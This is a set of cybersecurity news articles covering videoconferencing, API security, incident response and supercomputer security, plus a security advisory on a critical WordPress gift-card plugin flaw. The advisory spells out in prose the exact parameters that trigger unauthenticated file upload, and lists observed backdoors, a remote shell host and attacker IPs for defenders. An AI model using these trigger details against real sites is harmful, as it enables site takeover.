
At the same time, SMBs may not have the security awareness or in-house expertise necessary to shore up their defenses. Parkin says SMBs often wrestle to implement and manage a proper cybersecurity program.

"That lack of resources can manifest in not knowing, or being able to implement, proper security on their videoconferencing usage," he says.

George Waller, co-founder and executive vice president of Zerify, agrees that SMBs typically don't have the financial and technical resources that larger companies have.

"Therefore, they are far more vulnerable to even the most basic attacks such as email, phishing and ransomware," he says. "Post-pandemic, many SMBs are still working with limited staff and budgets. Therefore, it's easier to trip them up and cause a devastating data breach."

Meanwhile, this sector often faces financial constraints that could make a cyberattack an extinction-level event. According to a recent IBM breach report, the average size of a data breach in the US is now $9.44 million, and 60% of small businesses go out of business within six months of a data breach.

"When cybercriminals steal sensitive, confidential, or classified data, they can make you pay a ransom to get it back," Waller explains. "They can also sell it to other nefarious people, who can use that data to embarrass or profit from your organization."

Unfortunately, amid the challenges, SMBs are often more of a target than they realize.

"While an attacker’s potential take is smaller, the effort is low, the risk is low, and SMB organizations often have less investment in cybersecurity than a larger organization," Parkin explains. "They can be particularly susceptible to ransomware and business email compromise attacks."

**2FA, Zero Trust Help Secure Video Conferencing**

Fortunately, there are some basic steps that businesses of any size can take to ensure the videoconferencing system they're using doesn't fall into the "low-hanging fruit" category for cybercriminals.

For one, they should ensure their platforms and apps offer two-factor authentication (2FA) for both the meeting creator as well as for the meeting participant, and make sure that login links cannot be shared; most videoconferencing platforms have such basic security features and offer advice on how to use them.

Ricardo Villadiego, CEO and founder of Lumu, says businesses for instance should enable security features such as ID and password and end-to-end encryption that allow SMBs to control access to conversations.

"Avoid repeating passwords, lock down microphones and speakers, and authenticate every user prior to entering a videoconference," he says. "Limit the kind of files and links that can be shared via videoconferencing tools, keep meeting recordings only accessible with a password, and don't discuss information that you wouldn't discuss over the telephone."

Waller adds that snooping on video calls via spyware is a threat that SMBs should be aware of, too.

"Make sure that your camera, microphone, and audio-out data streams are locked down and cannot be spied on with malware," he says. "Organizations should also use an anti-keylogging and anti-screen scraping technology and make sure that AV software is up to date."

Lurey, meanwhile, advises SMBs to protect videoconferencing platforms with a zero-trust security architecture that requires all users be authenticated, authorized, and continuously validated before they can access the application.

"Choose a provider wisely and check that it provides end-to-end encryption," he says. "Most major platforms do."

He adds that it's also imperative to configure the platform correctly by enabling built-in security capabilities and providing consistent enforcement to ensure those security features are never disabled.

Finally, Parkin advises that there are other vulnerabilities in some videoconferencing platforms that require specific steps to counter and stresses the importance of keeping the videoconferencing software up to date. Security teams should also proactively monitor network behavior for anomalous activity and make sure to read terms and conditions of the videoconferencing platform being used.

He adds that with a changing threat landscape, the challenge for SMBs in particular is finding the balance between defending against known threats, being positioned to stay ahead of emerging ones, and managing the risk specific to their environment.

"Small businesses are often resource restricted when it comes to cybersecurity, which means they need to be efficient with the resources they do have," he says. "But focusing on things like user education, which can deliver a lot of value for the investment, can help."

Videoconferencing Worries Grow, With SMBs in Cyberattack Crosshairs

APIs are key to cloud transformation, but two Google surveys find that cyberattacks targeting them are reaching a tipping point, even as general cloud security issues abound.

Web application programming interfaces (APIs) are the glue that holds together cloud applications and infrastructure, but these endpoints are increasingly under attack, with half of companies acknowledging an API-related security incident in the past 12 months.

According to a survey conducted by Google Cloud, the most troublesome security problems affecting companies' use of APIs are security misconfigurations, outdated APIs and components, and spam or abuse bots — with 40% of companies suffering an incident due to misconfiguration and a third coping with the latter two issues. 

Two-thirds of companies (67%) found API-related security issues and vulnerabilities during the testing phase, but most companies — greater than 60% — discovered issues during the software development process, during application deployment, and by using real-time monitoring, according to the survey of more than 500 technology leaders.

Despite these issues, more than three-quarters (77%) have confidence that they will catch issues, saying they have the required API tools and solutions, says Vikas Anand, head of product for business application platforms at Google Cloud.

"There's a perception of confidence with existing tooling that isn’t matched by evidence," Anand says. "The landscape for security has changed — with the dramatic growth in API volume, APIs are the new battleground for application security."

The interest in Web APIs comes as companies have accelerated their digital transformations over the past two years following the business disruptions caused by the coronavirus pandemic. Nearly all (93%) of companies surveyed by Google in a second study of 770 technology leaders characterized their operations as based on "mostly cloud," up from 83% two years ago. 

In contrast, business decision-makers characterizing their operations as "mostly on-premises" dropped by half to 7%, from 16%, in the same time period.

    

Source: Google Cloud

By one estimate, API-related security incidents caused $12 billion to $23 billion in losses since 2020. And the attack surface is getting bigger: The average large company has three times the number of APIs — 15,600 — as a year ago.

**APIs: Key to Cloud Transformation**

While 46% of organizations surveyed reserved their use of APIs to only within their own organization, more than half (54%) allow partners, customers, and other external developer use the APIs as a way to spur third-party development, Google found.

"APIs are critical to application modernization and digital transformation because, along with microservices, they enable rapid delivery of new experiences to customers, while cutting the cost of development and maintenance," Google Cloud stated in its _"_The Digital Crunch Time: 2022 State of APIs and Applications" report.

Because APIs are critical to their digital transformation, companies have wisely prioritized API security investments, with 60% aiming to improve their ability to proactively identify security threats, and 57% adopting more security automation and orchestration, according to Google Cloud's second report, "API Security: Latest Insights & Key Trends." 

About half of companies also intend to expand their real-time monitoring of API servers and using artificial intelligence and machine learning (AI/ML) systems to better discover flaws and detect attacks.

"As organizations move from being reactionary to proactively addressing these threats, we’ll see AI/ML models become more widely adopted within security tooling," Anand says. "ML-based rules are the natural evolution of this — not just automating, but continuously learning from those experiences."

**API Maturity Brings Cloud Success**

Unsurprisingly, companies that have had more experience with APIs have also found more success with their transition to more cloud-native operations.

About a third of companies (34%) classified themselves as having a mature approach to APIs, pushing an API-first strategy across the organizations and using an API management platform. Those companies also had more success increasing efficiency, better collaboration, and improved agility, compared with organizations with lower API maturity. 

Google Cloud defined low-maturity organizations as those with siloed APIs, no centralized management of APIs, and perhaps an API gateway for security.

"Our study shows that mature API organizations are considerably ahead in their digital transformation efforts compared to low-maturity API organizations," according to the vendor. "Technology leaders already understand the value that APIs bring."

For companies moving to API-based application infrastructure, API security is considered the most significant component of an API program, with 66% of companies considering it important, according to Google's report. Other top concerns included API performance analytics and API governance.

"API security ultimately needs to be part of the overall end-to-end security strategy," Anand says. "Seamless integrations between all security products make enhancing the overall security value from your portfolio easier."

Google: With Cloud Comes APIs & Security Headaches

WordPress Yith WooCommerce Gift Cards Premium plugin versions 3.19.0 and below suffer from a remote shell upload vulnerability.

Description: Unauthenticated Arbitrary File Upload

Affected Plugin: Yith WooCommerce Gift Cards Premium

Plugin Slug: yith-woocommerce-gift-cards-premium

Affected Versions: <= 3.19.0

CVE ID: CVE-2022-45359

CVSS Score: 9.8 (Critical)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

Researcher/s:  Dave Jong

Fully Patched Version: 3.20.0

We were able to reverse engineer the exploit based on attack traffic and a copy of the vulnerable plugin and are providing information on its functionality as this vulnerability is already being exploited in the wild and a patch has been available for some time.

The issue lies in the import_actions_from_settings_panel function which runs on the admin_init hook.

Since admin_init runs for any page in the /wp-admin/ directory, it is possible to trigger functions that run on admin_init as an unauthenticated attacker by sending a request to /wp-admin/admin-post.php.

Since the import_actions_from_settings_panel function also lacks a capability check and a CSRF check, it is trivial for an attacker to simply send a request containing a page parameter set to yith_woocommerce_gift_cards_panel, a ywgc_safe_submit_field parameter set to importing_gift_cards, and a payload in the file_import_csv file parameter.

Since the function also does not perform any file type checks, any file type including executable PHP files can be uploaded.

Cyber Observables

These attacks may appear in your logs as unexpected POST requests to wp-admin/admin-post.php from unknown IP addresses. Additionally, we have observed the following payloads which may be useful in determining whether your site has been compromised. Note that we are providing normalized hashes (hashes of the file with all extraneous whitespace removed):

kon.php/1tes.php – this file loads a copy of the “marijuana shell” file manager in memory from a remote location at shell[.]prinsh[.]com and has a normalized sha256 hash of 1a3babb9ac0a199289262b6acf680fb3185d432ed1e6b71f339074047078b28c

b.php – this file is a simple uploader with a normalized sha256 hash of 3c2c9d07da5f40a22de1c32bc8088e941cea7215cbcd6e1e901c6a3f7a6f9f19

admin.php – this file is a password-protected backdoor and has a normalized sha256 hash of 8cc74f5fa8847ba70c8691eb5fdf8b6879593459cfd2d4773251388618cac90d

Although we’ve seen attacks from more than a hundred IPs, the vast majority of attacks were from just two IP addresses:

103.138.108.15, which sent out 19604 attacks against 10936 different sites

and

188.66.0.135, which sent 1220 attacks against 928 sites.

The majority of attacks occurred the day after the vulnerability was disclosed, but have been ongoing, with another peak on December 14, 2022. As this vulnerability is trivial to exploit and provides full access to a vulnerable website we expect attacks to continue well into the future.

Recommendations

If you are running a vulnerable version of YITH WooCommerce Gift Cards Premium, that is, any version up to and including 3.19.0, we strongly recommend updating to the latest version available. While the Wordfence firewall does provide protection against malicious file uploads even for free users, attackers may still be able to cause nuisance issues by abusing the vulnerable functionality in less critical ways.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance.

If you have any friends or colleagues who are using this plugin, please share this announcement with them and encourage them to update to the latest patched version of YITH WooCommerce Gift Cards Premium as soon as possible.

If you are a security researcher, you can responsibly disclose your finds to us and obtain a CVE ID and get your name on the Wordfence Intelligence Community Edition leaderboard.

WordPress Yith WooCommerce Gift Cards Premium 3.19.0 Shell Upload

Tis the season for security and IT teams to send out that company-wide email: “No, our CEO does NOT want you to buy gift cards.” 
As much of the workforce signs off for the holidays, hackers are stepping up their game. We’ll no doubt see an increase in activity as hackers continue to unleash e-commerce scams and holiday-themed phishing attacks. Hackers love to use these tactics to trick end

Incident Response / XDR Platform

Tis the season for security and IT teams to send out that company-wide email: "No, our CEO does NOT want you to buy gift cards."

As much of the workforce signs off for the holidays, hackers are stepping up their game. We'll no doubt see an increase in activity as hackers continue to unleash e-commerce scams and holiday-themed phishing attacks. Hackers love to use these tactics to trick end users into compromising not only their personal data but also their organization's data.

But that doesn't mean you should spend the next couple of weeks in a constant state of anxiety.

Instead, use this moment as an opportunity to ensure that your incident response (IR) plan is rock solid.

Where to start?

First, make sure that your strategy follows the six steps to complete incident response.

Here's a refresher:

**The 6 steps of a complete IR**

1.  **Preparation:** This is the first phase and involves reviewing existing security measures and policies; performing risk assessments to find potential vulnerabilities; and establishing a communication plan that lays out protocols and alerts staff to potential security risks. During the holidays, the preparation stage of your IR plan is crucial as it gives you the opportunity to communicate holiday-specific threats and put the wheels in motion to address such threats as they are identified.
2.  **Identification:** The identification stage is when an incident has been identified – either one that has occurred or is currently in progress. This can happen a number of ways: by an in-house team, a third-party consultant or managed service provider, or, worst case scenario, because the incident has resulted in a data breach or infiltration of your network. Because so many holiday cybersecurity hacks involve end-user credentials, it is worth dialing up safety mechanisms that monitor how your networks are being accessed.
3.  **Containment:** The goal of the containment stage is to minimize damage done by a security incident. This step varies depending on the incident and can include protocols such as isolating a device, disabling email accounts, or disconnecting vulnerable systems from the main network. Because containment actions often have severe business implications, it is imperative that both short-term and long-term decisions are determined ahead of time so there is no last minute scrambling to address the security issue.
4.  **Eradication:** Once you've contained the security incident, the next step is to make sure the threat has been completely removed. This may also involve investigative measures to find out who, what, when, where and why the incident occurred. Eradication may involve disk cleaning procedures, restoring systems to a clean backup version, or full disk reimaging. The eradication stage may also include deleting malicious files, modifying registry keys, and possibly re-installing operating systems.
5.  **Recovery:** The recovery stage is the light at the end of the tunnel, allowing your organization to return to business as usual. Same as containment, recovery protocols are best established beforehand so appropriate measures are taken to ensure systems are safe.
6.  **Lessons learned:** During the lessons learned phase, you will need to document what happened and note how your IR strategy worked at each step. This is a key time to consider details like how long it took to detect and contain the incident. Were there any signs of lingering malware or compromised systems post-eradication? Was it a scam connected to a holiday hacker scheme? And if so, what can you do to prevent it next year?

**How lean security teams can stress less this holiday season**

Incorporating best practices into your IR strategy is one thing. But building and then implementing these best practices is easier said than done when you don't have the time or resources.

Leaders of smaller security teams face additional challenges triggered by these lack of resources. Bare-bones budgets compounded by not having enough staff to manage security operations is leaving many lean security teams feeling resigned to the idea that they will not be able to keep their organization safe from the onslaught of attacks we often see during the holiday season.

Fortunately, there are free resources for security teams in this exact predicament.

You can find everything from templates for reporting on an incident to webinars that do deep dives into IR strategy, along with intel on the most recent cybersecurity threats within Cynet's Incident Response hub. And to further help lean security teams should an incident occur, they are offering a free Accelerated Incident Response service.

If you want to check out these free resources, visit the **Accelerated Incident Response hub here.**

May your security team hold down the fort these next two weeks while enjoying the holidays anxiety free.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Accelerate Your Incident Response

Vendors and operators attempt to balance power and security, but right now, power is the highest goal.

SUPERCOMPUTING 2022 — How do you keep the bad guys out of some of the world's fastest computers that store some of the most sensitive data?

That was a growing concern at last month's Supercomputing 2022 conference. Achieving the fastest system performance was a hot topic, like it is every year. But the pursuit of speed has come at the cost of securing some of these systems, which run critical workloads in science, weather modeling, economic forecasting, and national security.

Implementing security in the form of hardware or software typically involves a performance penalty, which slows down overall system performance and the output of computations. The push for more horsepower in supercomputing has made security an afterthought.

"For the most part, it's about high-performance computing. And sometimes some of these security mechanisms will reduce your performance because you are doing some checks and balances," says Jeff McVeigh, vice president and general manager of Super Compute Group at Intel.

"There's also a 'I want to make sure I'm getting the best possible performance, and if I can put in other mechanisms to control how this is being securely executed, I'll do that,'" McVeigh says.

**Security Needs Incentivizing**

Performance and data security is a constant tussle between the vendors selling the high-performance systems and the operators who are running the installation.

"Many vendors are reluctant to make these changes if the change negatively impacts the system performance," said Yang Guo, a computer scientist at the National Institutes for Standards and Technology (NIST), during a panel session at Supercomputing 2022.

The lack of enthusiasm for securing high-performance computing systems has prompted the US government to step in, with the NIST creating a working group to address the issue. Guo is leading the NIST HPC Working Group, which focuses on developing guidelines, blueprints, and safeguards for system and data security.

The HPC Working Group was created in January 2016 based on then-President Barack Obama's Executive Order 13702, which launched the National Strategic Computing Initiative. The group's activity picked up after a spate of attacks on supercomputers in Europe, some of which were involved in COVID-19 research.

**HPC Security Is Complicated**

Security in high-performance computing is not as simple as installing antivirus and scanning emails, Guo said.

High-performance computers are shared resources, with researchers booking time and connecting into systems to conduct calculations and simulations. Security requirements will vary based on HPC architectures, some of which may prioritize access control, or hardware like storage, faster CPUs, or more memory for calculations. The top focus is on securing the container and sanitizing computing nodes that pertain to projects on HPC, Guo said.

Government agencies dealing in top-secret data take a Fort Knox-style approach to secure systems by cutting off regular network or wireless access. The "air-gapped" approach helps ensure that malware does not invade the system, and that only authorized users with clearance have access to such systems.

Universities also host supercomputers, which are accessible to students and academics conducting scientific research. Administrators of these systems in many cases have limited control over security, which is managed by system vendors who want bragging rights for building the world's fastest computers.

When you place management of the systems in the hand of vendors, they will prioritize guaranteeing certain performance capabilities, said Rickey Gregg, cybersecurity program manager at the US Department of Defense's High Performance Computing Modernization Program, during the panel.

"One of the things that I was educated on many years ago was that the more money we spend on security, the less money we have for performance. We are trying to make sure that we have this balance," Gregg said.

During a question-and answer session following the panel, some system administrators expressed frustration at vendor contracts that prioritize performance in the system and deprioritize security. The system administrators said that implementing homegrown security technologies would amount to breach of contract with the vendor. That kept their system exposed.

Some panelists said that contracts could be tweaked with language in which vendors hand over security to on-site staff after a certain period of time.

**Different Approaches to Security**

The SC show floor hosted government agencies, universities, and vendors talking about supercomputing. The conversations about security were mostly behind closed doors, but the nature of supercomputing installations provided a birds-eye view of the various approaches to securing systems.

At the booth of the University of Texas at Austin's Texas Advanced Computing Center (TACC), which hosts multiple supercomputers in the Top500 list of the world's fastest supercomputers, the focus was on performance and software. TACC supercomputers get scanned regularly, and the center has tools in place to prevent invasions and two-factor authentication to authorize legit users, representatives said.

The Department of Defense has more of a "walled garden" approach, with users, workloads, and supercomputing resources segmented into a DMZ-stye border area with heavy protections and monitoring of all communications.

The Massachusetts Institute of Technology (MIT) is taking a zero-trust approach to system security by getting rid of root access. Instead it uses a command line entry called sudo to provide root privilege to HPC engineers. The sudo command provides a trail of activities HPC engineers undertake on the system, said Albert Reuther, senior staff member in the MIT Lincoln Laboratory Supercomputing Center, during the panel discussion.

"What we're really after is that auditing of who is at the keyboard, who was that person," Reuther said.

**Improving Security at the Vendor Level**

The general approach to high-performance computing has not changed in decades, with a heavy reliance on giant on-site installations with interconnected racks. That is in sharp contrast to the commercial computing market, which is moving offsite and to the cloud. Participants at the show expressed concerns about data security once it leaves on-premises systems.

AWS is trying to modernize HPC by bringing it to the cloud, which can scale up performance on demand while maintaining a higher level of security. In November, the company introduced HPC7g, a set of cloud instances for high-performance computing on Elastic Compute Cloud (EC2). EC2 employs a special controller called Nitro V5 that provides a confidential computing layer to protect data as it is stored, processed, or in transit.

"We use various hardware additions to typical platforms to manage things like security, access controls, network encapsulation, and encryption," said Lowell Wofford, AWS principal specialist solution architect for high performance computing, during the panel. He added that hardware techniques provide both the security and bare-metal performance in virtual machines.

Intel is building confidential computing features like Software Guard Extensions (SGX), a locked enclave for program execution, into its fastest server chips. According to Intel's McVeigh, a lackadaisical approach by operators is prompting the chip maker to jump ahead in securing high-performance systems.

"I remember when security wasn't important in Windows. And then they realized 'If we make this exposed and every time anyone does anything, they're going to worry about their credit card information being stolen,'" McVeigh said. "So there is a lot of effort there. I think the same things need to apply \[in HPC\]."

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